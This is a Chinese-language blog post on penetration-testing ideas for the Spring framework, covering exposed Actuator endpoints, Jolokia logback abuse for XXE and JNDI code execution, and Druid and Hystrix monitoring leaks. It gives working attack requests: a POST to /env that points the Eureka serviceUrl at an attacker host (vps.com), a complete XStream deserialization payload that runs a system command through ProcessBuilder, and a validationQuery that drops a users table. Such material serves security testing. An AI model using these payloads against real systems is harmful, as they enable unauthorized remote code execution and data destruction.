spring框架的一些测试思路
一.Spring Boot Actuators
Spring Boot Actuator是Spring Boot提供的对应用系统的监控和管理的集成功能,可以查看应用配置的详细信息,例如自动化配置信息、创建的Spring beans信息、系统环境变量的配置信以及Web请求的详细信息等。如果使用不当或者一些不经意的疏忽,可能造成信息泄露等严重的安全隐患。
当Spring Boot应用程序运行时,它会自动将多个端点例如/health,/trace,/beans,/env等注册到路由过程中。对于Spring Boot 1-1.4,无需身份验证即可访问它们,从而导致严重的安全性问题。从Spring 1.5版开始,默认情况下,除/health和/info之外的所有端点都被视为敏感和不安全的,但是应用程序开发人员经常禁用此安全性。
以下Actuator端点可能会带来安全隐患,从而导致可能的漏洞:
| 路径 | 描述 | 
|---|---|
| /autoconfig | 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过 | 
| /beans | 描述应用程序上下文里全部的Bean,以及它们的关系 | 
| /env | 获取全部环境属性 | 
| /configprops | 描述配置属性(包含默认值)如何注入Bean | 
| /dump | 获取线程活动的快照 | 
| /logfile | 输出日志文件的内容 | 
| /restart | 重新启动应用程序 | 
| /mappings | 描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射关系 | 
| /metrics | 报告各种应用程序度量信息,比如内存用量和HTTP请求计数 | 
| /shutdown | 关闭应用程序,要求endpoints.shutdown.enabled设置为true | 
| /trace | 提供基本的HTTP请求跟踪信息(时间戳、HTTP头等) | 
对于Spring 1x,它们在根目录下注册,而在2x中,它们移至/actuator/路径。
一些可能获取shell的方法
1.通过/jolokia执行远程代码
Jolokia库使用用户提供的输入来启动LDAP/RMI连接,在jolokia/list目录搜索logback组件

logback组件提供的reloadByURL 操作使我们可以从外部URL重新加载日志配置,只需要访问
因为日志配置为xml格式,当logback启用外部实体时,会对其进行解析,可以实现盲XXE。
logback配置具有从JNDI获取变量的功能,在XML文件中,我们可以包含一个标签,例如并且name属性将传递到DirContext.lookup()方法。如果我们可以在 .lookup()函数中提供一个任意名称,那么我们甚至不需要XXE或HeapDump,因为它为我们提供了完整的Remote Code Execution。
2.通过/env修改配置
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://vps.com/n/xstream
先执行上面请求将Eureka serviceURL修改为任意值,然后请求/refresh。如果Eureka-Client <1.8.7则可以利用XStream反序列化漏洞,服务器上xstream的内容为:
<linked-hash-set>
  <jdk.nashorn.internal.objects.NativeString>
    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
      <dataHandler>
        <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
          <is class="javax.crypto.CipherInputStream">
            <cipher class="javax.crypto.NullCipher">
              <serviceIterator class="javax.imageio.spi.FilterIterator">
                <iter class="javax.imageio.spi.FilterIterator">
                  <iter class="java.util.Collections$EmptyIterator"/>
                  <next class="java.lang.ProcessBuilder">
                    <command>
                      <string>whoami</string>
                    </command>
                    <redirectErrorStream>false</redirectErrorStream>
                  </next>
                </iter>
                <filter class="javax.imageio.ImageIO$ContainsFilter">
                  <method>
                    <class>java.lang.ProcessBuilder</class>
                    <name>start</name>
                    <parameter-types/>
                  </method>
                  <name>foo</name>
                </filter>
                <next class="string">foo</next>
              </serviceIterator>
              <lock/>
            </cipher>
            <input class="java.lang.ProcessBuilder$NullInputStream"/>
            <ibuffer></ibuffer>
          </is>
        </dataSource>
      </dataHandler>
    </value>
  </jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>
其他有用的设置
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
spring.datasource.tomcat.validationQuery=drop+table+users
此请求可以执行任意SQL语句

有一个要注意的地方在Spring Boot 2x中通过/env的请求方式为json格式
/swagger-ui.html接口泄露

可测试有误未授权接口,接口有无注入。
二.Druid
druid是国内及公司内部最常用的数据库连接池配置管理工具;其内置监控页面,用于拦截sql及实时监控连接池/sql信息,该页面在原生的druid包中默认为禁用,但其用于适配springboot的druid-spring-boot-starter包,默认打开该监控页面(http://ip:port/druid/index.html) ,打开后存在如下风险:
泄漏DB域名、使用用户及库名:

泄漏SQL信息:

泄露session:

三.hystrix监控
Hystrix除了实现容错之外,还提供了近乎实时的监控。Hystrix Command和HystrixObservableCommand在执行时,会会生成执行结果和运行指标,比如每秒的请求数和成功数等,这些监控数据对于分析系统请求的调用情况很有用。

spring框架的一些测试思路的更多相关文章
- Spring框架下Junit测试
		Spring框架下Junit测试 一.设置 1.1 目录 设置源码目录和测试目录,这样在设置产生测试方法时,会统一放到一个目录,如果没有设置测试目录,则不会产生测试代码. 1.2 增加配置文件 Res ... 
- Spring框架进阶3
		Spring框架进阶3 测试spring_jdbc和spring对事务的管理 先配置相应的pom <?xml version="1.0" encoding="UTF ... 
- Spring框架基础2
		Spring框架基础2 测试Spring的AOP思想和注解的使用 导包(在前面的基础上添加) SpringAOP名词解释 AOP编程思想:横向重复代码,纵向抽取:就是说多个地方重复的代码可以抽取出来公 ... 
- Spring框架之beans源码完全解析
		导读:Spring可以说是Java企业开发里最重要的技术.而Spring两大核心IOC(Inversion of Control控制反转)和AOP(Aspect Oriented Programmin ... 
- spring框架学习笔记1:搭建测试
		Spring框架介绍: Spring框架涵盖了web.service.dao三层,本身是一个存放对象的容器 形象来说:Spring是项目中对象管家 Spring框架的两大核心思想:控制反转(IOC). ... 
- 使用 Spring 2.5 TestContext 测试框架
		Spring 2.5 TestContext 测试框架用于测试基于 Spring 的程序,TestContext 测试框架和低版本 Spring 测试框架没有任何关系,是一个全新的基于注解的测试框架, ... 
- Java开发工程师(Web方向) - 04.Spring框架 - 期末测试
		Spring框架客观题 Spring框架编程题 http://blog.csdn.net/sinoacc/article/details/51702458 1 (25分) 假设有如下数据表: crea ... 
- [Spring框架]Spring IOC的原理及详解。
		这里感谢 CSDN 的原博客:http://blog.csdn.net/m13666368773/article/details/7802126 看后 受益匪浅,这里再重温一遍Spring IOC ... 
- spring框架的一些技术总结
		纵观现在互联网行业,java的地位依然不可动摇,因为java拥有着的众多开发人员和适用性广,技术与解决技术大部分开源等特点,因此java依然是众多众多开发行业作为互联网开发的首选,而说到开发,我们就不 ... 
随机推荐
- python 绘制三国人物关系图
			author:weizhendong data:2019.12.19 func:绘制三国演义人物关系图 """ import codecs import jieba.po ... 
- 自建云存储:Nextcloud vs. ownCloud vs. Seafile
			Self-hosted Cloud Storage: Nextcloud vs. ownCloud vs. Seafile By Ashutosh KS in Hosting. Updated on ... 
- AcWing    257. 关押罪犯   (并查集)打卡
			题目:https://www.acwing.com/problem/content/description/259/ 题意:有两个监狱,监狱里面有很多犯人,现在有很多对冲突,还有个冲突值,现在问我们怎 ... 
- BUUCTF | [CISCN2019 华北赛区 Day2 Web1]Hack World
			id=0 id=1 id=2 id=3 发现结果不一样,尝试 : ">4","=4","<4" : 在自己的环境下验证一下: 爆 ... 
- 父元素a标签的href默认行为以及子元素绑定的click事件的响应之间存在影响
			原文地址 背景 开发过程中遇到问题,简单写个demo 运行环境为Chrome 68 描述一下这个问题,当a标签内部存在嵌套时, 父元素a标签的href默认行为以及子元素绑定的click事件的响应之间存 ... 
- webform将一个usercontrol作为模态框在page上弹出
			弹窗 public static void RegisterJQueryDialogScript(Page page, string dialogDivId, string title, int wi ... 
- Oracle 11g 的卸载
			Oracle 11g 的卸载 停止 oracle 相关的所有服务. 使用 Oracle 自带的 Universal Installer 卸载工具卸载 Oracle. 删除注册表 HKEY/LOCAL_ ... 
- docker安装部署命令
			一.安装工具包 $ sudo yum install -y yum-utils #安装工具包,缺少这些依赖将无法完成 二.设置远程仓库 $sudo yum-config-manager --add-r ... 
- 将windows下的文件上传到Linux服务器上
			版权声明:本文为博主原创文章,遵循 CC 4.0 by-sa 版权协议,转载请附上原文出处链接和本声明.本文链接:https://blog.csdn.net/lx_Frolf/article/deta ... 
- ubuntu 设置固定IP
			vim /etc/network/interface address 要固定的IP地址 netmask 子网掩码 A类地址 默认255.0.0.0 B类地址默 255.255.0.0 ... 
